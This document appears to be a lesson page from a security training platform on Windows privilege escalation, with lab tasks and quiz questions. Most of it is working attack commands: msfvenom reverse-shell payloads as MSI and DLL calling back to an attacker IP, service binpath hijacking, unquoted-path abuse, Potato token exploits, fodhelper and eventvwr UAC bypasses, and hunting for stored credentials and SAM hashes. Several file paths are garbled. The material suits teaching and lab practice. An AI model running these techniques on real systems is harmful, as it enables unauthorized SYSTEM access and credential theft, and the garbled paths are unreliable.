Windows Privilege Escalation

Escalate privileges on Windows systems using service misconfigurations, unquoted service paths, DLL hijacking, token impersonation, and AlwaysInstallElevated — from low-privilege user to SYSTEM.

Hard 70m 3 tasks

Learning Objectives

  • Run WinPEAS and Sherlock to enumerate Windows privesc vectors
  • Exploit weak service permissions and unquoted service paths
  • Use token impersonation with Juicy Potato and PrintSpoofer
  • Exploit AlwaysInstallElevated and DLL hijacking
  • Bypass UAC using fodhelper, eventvwr, and other techniques

Initial Enumeration

:: Basic system info
whoami
whoami /priv          -- check token privileges
whoami /groups        -- group memberships
hostname
systeminfo            -- OS version, patches, hotfixes
net user              -- local users
net localgroup administrators  -- who is admin?
net share             -- shared folders
ipconfig /all         -- network config

:: PowerShell equivalents
Get-LocalUser
Get-LocalGroupMember Administrators
Get-HotFix | Sort-Object -Descending InstalledOn | Select -First 10

Automated Enumeration: WinPEAS

# Download WinPEAS:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe
# Or via Meterpreter:
upload winPEASx64.exe C:/Windows/Temp/
shell
C:/Windows/Temp/winPEASx64.exe

# Output: RED = critical, CYAN = interesting
# Look for: service misconfigs, registry keys, credentials

# PowerUp (PowerShell privesc checks):
Import-Module .\PowerUp.ps1
Invoke-AllChecks

Weak Service Permissions

:: List services
sc query state=all
sc qc ServiceName      -- query service config

:: Check service permissions (who can modify it?)
accesschk.exe -uwcqv "Authenticated Users" * 2>nul
accesschk.exe -uwcqv Everyone * 2>nul

:: If service is modifiable by current user:
sc config VulnService binpath= "C:\Windows\Temp
everse_shell.exe"
sc start VulnService
:: → shell.exe runs as SYSTEM

:: Or restart service to trigger:
net stop VulnService && net start VulnService

Unquoted Service Paths

:: Find unquoted service paths:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" | findstr /i /v """

:: Example vulnerable service path:
:: C:\Program Files\Vulnerable Servicepp.exe
:: Windows searches:
::   C:\Program.exe           (checks this first!)
::   C:\Program Files\Vulnerable.exe
::   C:\Program Files\Vulnerable Servicepp.exe

:: Exploit: place C:\Program.exe (our payload)
:: If we can write to C:\ (less likely) or subpaths

:: More common: C:\Program Files\Vulnerable.exe
copy C:\Windows\Temp\shell.exe "C:\Program Files\Vulnerable.exe"
net stop VulnSvc && net start VulnSvc
::  shell.exe runs as SYSTEM

Token Impersonation: SeImpersonatePrivilege

# Check for SeImpersonatePrivilege:
whoami /priv
# SeImpersonatePrivilege Enabled  ← exploitable!

# Common in: IIS service accounts, SQL Server, web shells

# Juicy Potato (Windows 10 before 1809, Server 2016):
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami > C:\output.txt" -t *
# -t * — try all token types

# PrintSpoofer (Windows 10 1809+, Server 2019):
.\PrintSpoofer.exe -i -c cmd
# Gets SYSTEM shell via Print Spooler service

# Rogue Potato (works on newer Windows):
.\RoguePotato.exe -r YOUR_IP -l 1337 -e "C:\Windows\Temp\shell.exe"

AlwaysInstallElevated

:: Check registry:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: Both must be 0x1 for this to work

:: Exploit: create MSI that runs as SYSTEM
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f msi -o shell.msi

:: Execute:
msiexec /quiet /qn /i C:\Temp\shell.msi
::  MSI installs as SYSTEM, runs our payload

DLL Hijacking

:: Windows searches for DLLs in this order (safe DLL search mode off):
:: 1. Directory of the executable
:: 2. C:\Windows\System32
:: 3. C:\Windows\System
:: 4. C:\Windows
:: 5. Current directory
:: 6. PATH directories

:: Find services loading DLLs from writable paths:
:: Use Process Monitor (ProcMon) with filters:
:: - Result = NAME NOT FOUND
:: - Path ends with .dll
:: Look for DLL not found in writable location

:: Create malicious DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o evil.dll
:: Place in the directory searched before System32

:: DLL template (compile with mingw):
// evil.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c whoami > C:\output.txt");
    }
    return TRUE;
}

UAC Bypass Techniques

# UAC (User Account Control) — prompts for consent on elevated actions
# Bypass: auto-elevate applications can be abused

# Method 1: fodhelper.exe (Windows 10)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start cmd.exe" -Force
Start-Process "C:\Windows\System32odhelper.exe"

# Method 2: eventvwr.exe
Set-ItemProperty "HKCU:\Software\Classes\mscfile\Shell\Open\command" "(Default)" "cmd.exe /c start cmd.exe"
Start-Process eventvwr.exe

# Method 3: Metasploit UAC bypass
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
run

# Note: UAC bypass requires medium-integrity user (not just any user)

Password Hunting

# Search for passwords in common locations:
Get-ChildItem C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.config | Select-String -Pattern "password" -CaseSensitive:$false

# Registry (Autologon):
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# DefaultUserName, DefaultPassword in clear text!

# Unattend.xml (Windows install files):
Get-Content C:\Windows\Panther\Unattend.xml
Get-Content C:\Windows\System32\sysprep\Unattend.xml

# Saved credentials:
cmdkey /list          -- stored credentials
runas /savecred /user:admin cmd.exe  -- use saved creds

# DPAPI saved browser passwords:
# Decrypt with Mimikatz or SharpDPAPI

# PowerShell history:
Get-Content C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

On a Windows lab VM (TryHackMe Steel Mountain or similar): (1) run winPEASx64.exe and identify weak service permissions, (2) use sc query and accesschk.exe to confirm writable service, (3) replace service binary path with a reverse shell, (4) restart the service to get SYSTEM shell, (5) also check for unquoted service paths with wmic service get pathname.

✦ Answer the questions to complete this task

What command changes a Windows service binary path?

Why is an unquoted service path a vulnerability?

On a Windows server where you have a web shell running as IIS AppPool: (1) check whoami /priv for SeImpersonatePrivilege, (2) download PrintSpoofer.exe to C:\Windows\Temp\, (3) run PrintSpoofer.exe -i -c cmd to get SYSTEM shell, (4) alternatively: use Meterpreter's getsystem command, (5) dump SAM with hashdump or secretsdump.

✦ Answer the questions to complete this task

What is SeImpersonatePrivilege and why is it exploitable?

Hunt for credentials in common Windows locations: (1) check Winlogon registry for autologon passwords, (2) search for Unattend.xml files, (3) check PowerShell history files, (4) use cmdkey /list to find stored credentials and runas /savecred to use them, (5) search all .config files for 'password' or 'connectionstring'.

✦ Answer the questions to complete this task

Where does Windows store autologon credentials in the registry?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

Windows Privilege Escalation MCQ

Windows Privilege Escalation MCQ

Start →
⚙️ Practical Medium +30 XP

Windows SYSTEM via Service Misconfiguration

Windows SYSTEM via Service Misconfiguration

Start →
🚩 Challenge Hard +50 XP

Token Impersonation to SYSTEM

Token Impersonation to SYSTEM

Start →